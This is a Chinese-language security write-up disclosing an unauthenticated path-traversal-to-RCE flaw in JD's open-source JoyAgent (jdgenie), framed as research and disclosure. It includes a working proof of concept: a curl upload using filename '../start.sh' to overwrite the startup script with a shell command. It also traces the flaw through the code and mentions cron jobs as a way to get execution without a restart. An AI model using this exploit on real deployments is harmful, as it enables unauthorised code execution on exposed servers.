分析版本截至: 2025-10-11

免责声明:

  1. 本文基于公开的开源项目代码进行安全分析,仅用于安全研究、教学与防御目的,不构成对任何系统的攻击建议或利用指南。

  2. 文中涉及的 PoC、EXP 及相关技术细节,仅允许在 合法授权 的前提下用于测试与学习。禁止将本文内容用于未授权的渗透测试、入侵行为或其他任何违法用途,否则由此产生的一切法律责任与风险均由使用者本人承担,与作者无关。

  3. 本文所提及的漏洞信息与分析结论,仅针对文中注明的代码版本/提交哈希,后续版本可能已修复或发生变更,请以项目官方代码为准。

  4. 本文观点仅代表作者个人,与京东及 Joyagent 项目官方无关。如相关方认为本文内容不适合公开,或存在表述不当之处,可联系作者进行修改或下线处理。

  5. 漏洞已经提交京东 SRC 官方,并已经处理结束。(漏洞被忽略)

项目介绍

Github 地址: https://github.com/jd-opensource/joyagent-jdgenie?tab=readme-ov-file

并存在: data_agent main 双分支

RCE 演示

双分支均存在 RCE,默认部署下端口对外暴露且无需授权

部署

docker 部署作为示例,实际多种部署均可触发。

# main 分支演示
git clone -b main https://github.com/jd-opensource/joyagent-jdgenie.git
​
# 默认 dockerfile 可能由于环境问题出错,请自行更改 dockerfile 完成部署
docker build -t genie:latest-main .
​
# 根据官方部署流程,端口默认对外暴露
docker run -d -p 3001:3000 -p 8082:8080 -p 1602:1601 --name genie-app-main genie:latest-main

部署后访问前端服务如下

POC

在攻击方本地创建文件 tmp.txt 并写入如下内容。

注意文件内容换行符需要为 LF 不能为windwos的 CRLF

whoami > /tmp/poc.txt
#!/usr/bin/env bash
​
# 激活虚拟环境
. .venv/bin/activate
​
# 运行Python服务器
python server.py

将文件内容作为载荷发送往受害者服务器(下为 cmd 语法)

curl -X POST http://服务端IP及docker暴露的第三个端口(我的案例是:1602)/v1/file_tool/upload_file_data -F "requestId=test" -F "file=@tmp.txt;filename=../start.sh"

来到服务端 -> 重启 genie服务(直接重启 docker 实例更快速便捷) -> 进入容器观察 /tmp 目录下文件,可见命令执行成功。

代码分析

Sink

genie-tool/genie_tool/db/file_table_op.py:31

save_by_data 方法,在获取 filename 时没有采用 os.path.basename

且后续直接 save_path = os.path.join(self._work_dir, file_name) 这将导致目录穿越。

Source

genie-tool/genie_tool/api/file_manage.py:42

触发

入口路由: upload_file_dataupload_file_data 函数依然对传入文件名和内容零过滤。

跟进 add_by_file 方法

genie-tool/genie_tool/db/file_table_op.py:61

数据库辅助层 → 使用提供的文件名写入磁盘,过程无过滤,下一步即进入 sink 点。

所以此路由确认存在目录穿越

定位到: genie-tool/server.py 其中配置了默认暴露端口: 1601 (外部映射到容器的端口)

image-20251011153716531

并且启动脚本默认不传参

前文中的文件存储路径配置从环境变量中获取,位于: genie-tool/.env_template

如果非默认部署,被修改目录,则可以采用绝对路径的方式进行目录穿越。

现在总结,可以透过 upload_file_data 路由,利用目录穿越,将文件写入任意位置。

那么我们可以从目录穿越 -> 覆盖启动脚本 -> RCE

现在回到 dockerfile 内容,可知道在重启时会执行 CMD ["./start_genie.sh"] 启动所有服务

start_genie.sh 将启动 被我们前文复现时覆盖的: genie-tool/start.sh 脚本,形成 RCE。

综上: 目录穿越 -> 覆盖启动脚本 -> RCE (当然也可以通过写入定时任务等方法实现 0 点击 RCE)

国家一级保护废物